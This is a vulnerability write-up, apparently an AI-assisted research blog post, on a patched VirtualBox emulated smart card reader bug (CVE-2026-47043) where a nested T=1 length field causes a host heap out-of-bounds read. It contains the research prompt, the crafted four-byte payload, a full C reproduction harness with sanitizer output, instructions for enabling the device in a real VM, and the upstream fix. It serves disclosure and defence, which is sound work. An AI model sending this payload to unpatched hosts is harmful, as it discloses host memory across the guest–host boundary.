ai × virtualbox

VirtualBox CCID: four bytes in, 255 bytes read

July 2026 · Oracle VM VirtualBox · USB card reader · CCID · T=1 · heap OOB read · CVE-2026-47043

After the xHCI sniffer write-up, I stayed in VirtualBox USB emulation — same trust-boundary problem, different device. This time the surface was the emulated USB smart card reader in src/VBox/Devices/Security/UsbCardReader.cpp: CCID bulk OUT transfers carrying ISO 7816 T=1 blocks.

The bug is a nested length mismatch. The outer CCID parser checks that dwLength fits in the URB. The T=1 path validates a checksum over those dwLength bytes, then trusts the inner T=1 LEN field and copies that many bytes into a response buffer. A four-byte T=1 S-block with LEN=0xff still has a valid LRC — and the host reads 255 bytes past a short heap buffer. ASAN catches it on the reduced harness. Oracle patched it in the July 2026 Critical Patch Update as CVE-2026-47043, affecting VirtualBox 7.2.12. Fixed-bug write-up only — guest-triggered host heap OOB read in the emulated smart card reader; I am not claiming a full live VBoxHeadless ASAN crash here.

The prompt

Same shape as the earlier VirtualBox work — guest→host device emulation, length accounting that can disagree — without naming the smart-card reader up front:

We're doing authorized offensive security research (lab-only) on Oracle VM VirtualBox.
Focus on guest → host trust boundaries in USB and security device emulation.

Look for memory-safety bugs where an outer length is checked, then an inner
length from the same guest buffer is trusted for a later copy.

For each candidate:
- exact file/function and what the guest controls
- where the host validates vs where it later reads or copies
- a minimal reduced harness
- sanitizer evidence before calling it a true positive
- do not treat speculation as a finding

The CCID reader fit that pattern: dwLength checked once, T=1 LEN trusted afterward.

Where the lengths disagree

In usbCardReaderBulkOutPipe, a PC_to_RDR_XfrBlock (0x6f) is accepted after:

if (pCmd->dwLength > pUrb->cbData - sizeof(VUSBCARDREADERBULKHDR))
    /* reject */

That only proves the CCID payload fits in the URB. In usbCardReaderXfrBlockT1, the checksum is validated over exactly pCmd->dwLength bytes. Then the code casts &pCmd[1] to a T1BLKHEADER and trusts pT1Hdr->u8Len. For an S-block IFS request, usbCardReaderT1BlkSProcess passes that length into usbCardReaderT1CreateBlock, which does:

memcpy(&pT1Blk[1], pu8T1BodyBlock, cbT1BodyBlock);

with cbT1BodyBlock = pT1BlkHeader->u8Len and pu8T1BodyBlock pointing just past the three-byte T=1 header. If u8Len is larger than the bytes actually present after that header inside dwLength, the memcpy reads off the end of the guest buffer.

The source already had a nearby TODO that named the gap:

/** @todo validate, for example pT1Hdr->u8Len < pCmd->dwLength */

The shape that breaks it

CCID bMessageType: 0x6f    // PC_to_RDR_XfrBlock
CCID dwLength:     4
T=1 block:         00 c1 ff 3e

NAD = 0x00
PCB = 0xc1    // S-block, IFS request
LEN = 0xff    // claims 255 bytes of S-block body
LRC = 0x3e    // valid LRC over 00 c1 ff

With dwLength = 4, the submitted T=1 data is only NAD, PCB, LEN, and LRC — no 255-byte body. The LRC still validates because it is computed over the short submitted block. The S-block response path then copies 255 bytes from immediately after the 3-byte header.

Proving it without a full VM first

Same approach as the xHCI post: a reduced harness that models the parser and response construction path, without patching VirtualBox. File: usb_cardreader_t1_oob_repro.c.

cc -fsanitize=address -g -O1 -fno-omit-frame-pointer \
  -o usb_cardreader_t1_oob_repro usb_cardreader_t1_oob_repro.c

ASAN_SYMBOLIZER_PATH=$(command -v llvm-symbolizer || true) \
ASAN_OPTIONS='symbolize=1:halt_on_error=1' \
./usb_cardreader_t1_oob_repro

The reduced harness produces a host-side ASAN heap-buffer-overflow read:

ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 255

#0 __asan_memcpy
#1 usbCardReaderT1CreateBlock
   src/VBox/Devices/Security/UsbCardReader.cpp:1670
#2 usbCardReaderT1BlkSProcess
   src/VBox/Devices/Security/UsbCardReader.cpp
#3 main
   src/VBox/Devices/Security/UsbCardReader.cpp

0x6020000000fe is located 0 bytes after 14-byte region
allocated by thread T0 here:
#0 calloc
#1 main
Full reduced harness (C)

Authorized lab use only. Fixed in Oracle July 2026 CPU / CVE-2026-47043. Download: usb_cardreader_t1_oob_repro.c.

// File: usb_cardreader_t1_oob_repro.c
//
// Standalone harness for:
//   VirtualBox USB Smart Card Reader CCID T=1 OOB Read / Host Memory Disclosure
//
// The real device path is:
//   PC_to_RDR_XfrBlock -> usbCardReaderXfrBlockT1()
//
// The outer CCID parser validates only that dwLength fits inside the URB.
// The T=1 parser validates checksum over dwLength bytes, but then trusts the
// embedded T=1 LEN byte and copies LEN bytes from the guest buffer into a
// response block.
//
// CVE: CVE-2026-47043
// Scope: authorized lab use only · fixed in Oracle July 2026 CPU

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#if defined(__GNUC__) || defined(__clang__)
# define NOINLINE __attribute__((noinline))
#else
# define NOINLINE
#endif

#define VUSBCARDREADER_MSG_TYPE_PC_TO_RDR_XFRBLOCK 0x6f
#define ISO7816_T1_BLK_TYPE_MASK 0xc0
#define ISO7816_T1_BLK_S         0xc0
#define ISO7816_T1_BLK_S_RESPONSE 0x20

#pragma pack(push, 1)
typedef struct VUSBCARDREADERBULKHDR {
    uint8_t  bMessageType;
    uint32_t dwLength;
    uint8_t  bSlot;
    uint8_t  bSeq;
    union {
        struct {
            uint8_t  bBWI;
            uint16_t wLevelParameter;
        } XfrBlock;
        uint8_t abRaw[3];
    } u;
} VUSBCARDREADERBULKHDR;

typedef struct T1BLKHEADER {
    uint8_t u8Nad;
    uint8_t u8Pcb;
    uint8_t u8Len;
} T1BLKHEADER, *PT1BLKHEADER;
#pragma pack(pop)

typedef struct CARDREADERSLOT {
    int dummy;
} CARDREADERSLOT, *PCARDREADERSLOT;

static int usbCardReaderIsCrc16ChkSum(PCARDREADERSLOT pSlot)
{
    (void)pSlot;
    return 0; /* Default T=1 LRC checksum path. */
}

static int usbCardReaderT1ChkSumLrc(uint8_t *pu8ChkSum,
                                    const uint8_t *pbBlock,
                                    size_t cbBlock)
{
    uint8_t u8ChkSum = 0;
    while (cbBlock--)
        u8ChkSum ^= *pbBlock++;
    *pu8ChkSum = u8ChkSum;
    return 0;
}

static int usbCardReaderT1ChkSum(PCARDREADERSLOT pSlot,
                                 uint8_t *pu8Sum,
                                 const uint8_t *pbBlock,
                                 size_t cbBlock)
{
    (void)pSlot;
    return usbCardReaderT1ChkSumLrc(pu8Sum, pbBlock, cbBlock);
}

NOINLINE
#line 1620 "src/VBox/Devices/Security/UsbCardReader.cpp"
static int usbCardReaderT1ValidateChkSum(PCARDREADERSLOT pSlot,
                                         const uint8_t *pbBlock,
                                         size_t cbBlock)
{
    uint8_t au8Sum[2];
    uint8_t cbSum = usbCardReaderIsCrc16ChkSum(pSlot) ? 2 : 1;

    int rc = usbCardReaderT1ChkSum(pSlot, au8Sum, pbBlock, cbBlock - cbSum);
    if (rc == 0)
        return !memcmp(au8Sum, &pbBlock[cbBlock - cbSum], cbSum);

    return 0;
}

NOINLINE
#line 1640 "src/VBox/Devices/Security/UsbCardReader.cpp"
static int usbCardReaderT1CreateBlock(PCARDREADERSLOT pSlot,
                                      PT1BLKHEADER *ppT1Block,
                                      uint32_t *pcbT1Block,
                                      uint8_t u8Nad,
                                      uint8_t u8PcbFlags,
                                      uint8_t *pu8T1BodyBlock,
                                      uint8_t cbT1BodyBlock)
{
    uint32_t cbChkSum = usbCardReaderIsCrc16ChkSum(pSlot) ? 2 : 1;
    uint32_t cbT1Blk = cbT1BodyBlock + sizeof(T1BLKHEADER) + cbChkSum;

    PT1BLKHEADER pT1Blk = (PT1BLKHEADER)calloc(1, cbT1Blk);
    if (!pT1Blk)
        return -1;

    pT1Blk->u8Nad = u8Nad;
    pT1Blk->u8Pcb = u8PcbFlags;
    pT1Blk->u8Len = cbT1BodyBlock;

    if (pu8T1BodyBlock && cbT1BodyBlock)
#line 1670 "src/VBox/Devices/Security/UsbCardReader.cpp"
        memcpy(&pT1Blk[1], pu8T1BodyBlock, cbT1BodyBlock);

    usbCardReaderT1ChkSum(pSlot,
                          ((uint8_t *)pT1Blk) + cbT1Blk - cbChkSum,
                          (uint8_t *)pT1Blk,
                          cbT1Blk - cbChkSum);

    *ppT1Block = pT1Blk;
    *pcbT1Block = cbT1Blk;
    return 0;
}

NOINLINE
#line 1692 "src/VBox/Devices/Security/UsbCardReader.cpp"
static int usbCardReaderT1BlkSProcess(PCARDREADERSLOT pSlot,
                                      PT1BLKHEADER pT1BlkHeader)
{
    PT1BLKHEADER pT1BlkHeaderResponse = NULL;
    uint32_t cbT1BlkHeaderResponse = 0;
    int rc = 0;

    if ((pT1BlkHeader->u8Pcb & ISO7816_T1_BLK_S_RESPONSE) != 0)
        return -1;

    switch (pT1BlkHeader->u8Pcb & ~ISO7816_T1_BLK_TYPE_MASK) {
    case 0x01: /* IFS request */
        rc = usbCardReaderT1CreateBlock(pSlot,
                                        &pT1BlkHeaderResponse,
                                        &cbT1BlkHeaderResponse,
                                        pT1BlkHeader->u8Nad,
                                        pT1BlkHeader->u8Pcb | ISO7816_T1_BLK_S_RESPONSE,
                                        (uint8_t *)&pT1BlkHeader[1],
                                        pT1BlkHeader->u8Len);
        break;
    default:
        rc = -1;
        break;
    }

    printf("response=%p response_len=%u rc=%d\n",
           (void *)pT1BlkHeaderResponse, cbT1BlkHeaderResponse, rc);
    free(pT1BlkHeaderResponse);
    return rc;
}

NOINLINE
#line 1864 "src/VBox/Devices/Security/UsbCardReader.cpp"
static int usbCardReaderXfrBlockT1(PCARDREADERSLOT pSlot,
                                   const VUSBCARDREADERBULKHDR *pCmd)
{
    int fT1ChkSumValid = usbCardReaderT1ValidateChkSum(pSlot,
                                                       (uint8_t *)&pCmd[1],
                                                       pCmd->dwLength);
    if (!fT1ChkSumValid)
        return -1;

    PT1BLKHEADER pT1Hdr = (PT1BLKHEADER)&pCmd[1];
    printf("T=1 block: NAD=%02x PCB=%02x LEN=%u dwLength=%u\n",
           pT1Hdr->u8Nad, pT1Hdr->u8Pcb, pT1Hdr->u8Len, pCmd->dwLength);

    switch (pT1Hdr->u8Pcb & ISO7816_T1_BLK_TYPE_MASK) {
    case ISO7816_T1_BLK_S:
        return usbCardReaderT1BlkSProcess(pSlot, pT1Hdr);
    default:
        return -1;
    }
}

NOINLINE
#line 2271 "src/VBox/Devices/Security/UsbCardReader.cpp"
static int usbCardReaderBulkOutPipe(uint8_t *pbUrb, uint32_t cbUrb)
{
    CARDREADERSLOT Slot = {0};

    if (cbUrb < sizeof(VUSBCARDREADERBULKHDR))
        return -1;

    const VUSBCARDREADERBULKHDR *pCmd = (const VUSBCARDREADERBULKHDR *)pbUrb;
    if (pCmd->bMessageType != VUSBCARDREADER_MSG_TYPE_PC_TO_RDR_XFRBLOCK)
        return -1;

    if (pCmd->dwLength > cbUrb - sizeof(VUSBCARDREADERBULKHDR))
        return -1;

    return usbCardReaderXfrBlockT1(&Slot, pCmd);
}

int main(void)
{
    const uint32_t dwLength = 4; /* Exactly NAD, PCB, LEN, LRC. */
    const uint32_t cbUrb = sizeof(VUSBCARDREADERBULKHDR) + dwLength;
    uint8_t *pbUrb = (uint8_t *)calloc(1, cbUrb);
    if (!pbUrb)
        return 1;

    VUSBCARDREADERBULKHDR *pCmd = (VUSBCARDREADERBULKHDR *)pbUrb;
    pCmd->bMessageType = VUSBCARDREADER_MSG_TYPE_PC_TO_RDR_XFRBLOCK;
    pCmd->dwLength = dwLength;
    pCmd->bSlot = 0;
    pCmd->bSeq = 1;
    pCmd->u.XfrBlock.bBWI = 0;
    pCmd->u.XfrBlock.wLevelParameter = 0;

    uint8_t *t1 = (uint8_t *)&pCmd[1];
    t1[0] = 0x00; /* NAD */
    t1[1] = 0xc1; /* S-block, IFS request */
    t1[2] = 0xff; /* Malicious LEN: claims 255 bytes of body. */
    t1[3] = t1[0] ^ t1[1] ^ t1[2]; /* Valid LRC over the 3-byte header. */

    printf("Allocated guest URB: %u bytes; CCID dwLength=%u; T=1 LEN=%u; LRC=%02x\n",
           cbUrb, pCmd->dwLength, t1[2], t1[3]);

    int rc = usbCardReaderBulkOutPipe(pbUrb, cbUrb);
    printf("usbCardReaderBulkOutPipe returned %d\n", rc);

    free(pbUrb);
    return 0;
}

Why it matters

The OOB read happens while building a response block. In the real implementation, usbCardReaderT1BlkSProcess hands that response to uscrResponseOK(...), so the copied bytes become part of the object sent back through the emulated CCID interface — guest-visible host heap contents if the path is reached live.

The guest controls dwLength, the T=1 NAD/PCB/LEN/checksum, and whether the block is routed into S-block IFS or RESYNCH handling. The checksum does not need to fail; the minimal payload is internally consistent under the pre-fix validator.

If you want to try this in a real VM

The vulnerable code is in the emulated USB smart card reader path:

VBoxManage modifyvm <vm> --usb-card-reader=on

Then send a CCID PC_to_RDR_XfrBlock from the guest to the emulated reader. The reduced harness is the evidence I am standing on in this post. I did not claim a full VBoxHeadless ASAN crash here because my local host did not expose an active smart-card reader during testing, which may prevent the complete live device path from reaching T=1 transfer handling.

The fix

upstream fix f03a69d6a4
UsbCardReader: report error to the guest for invalid blocks
Jul 14, 2026 · VirtualBox/virtualbox · bugref:11098View commit →

The important part for this bug is new T=1 block validation before dispatch: require enough bytes for header + checksum, then require dwLength to cover header + u8Len + checksum. Invalid blocks get an error status instead of a memcpy with an out-of-range body length. The old @todo validate u8Len comment is gone.

/* T1 block is T1BLKHEADER + data[T1BLKHEADER::u8Len] + checksum. */
uint32_t cbT1Block = sizeof(T1BLKHEADER) + (usbCardReaderIsCrc16ChkSum(pSlot) ? 2 : 1);
if (pCmd->dwLength < cbT1Block)
    enmMsgStatus = VUSBCARDREADER_MSG_STATUS_ERR_XFR_OVERRUN;
else {
    PT1BLKHEADER pT1Hdr = (PT1BLKHEADER)&pCmd[1];
    cbT1Block += pT1Hdr->u8Len;
    if (pCmd->dwLength < cbT1Block)
        enmMsgStatus = VUSBCARDREADER_MSG_STATUS_ERR_XFR_OVERRUN;
    ...
}

Oracle’s July 2026 CPU lists VirtualBox 7.2.12 for CVE-2026-47043 (CVSS 3.1 base score 3.2 — unauthorized read / confidentiality). Upgrade past the affected build.

What I took away

Nested protocols are where length bugs hide. CCID checked one number; T=1 introduced another. The checksum validated the short buffer and made the packet look “well-formed” while the copy used a different length entirely.

Same lesson as the xHCI post: ask for places where the host validates once and copies later — then force a reduced harness before calling it a finding. Model quality matters, but context is king.


Oracle VM VirtualBox is mentioned here for technical discussion; this site is not affiliated with Oracle.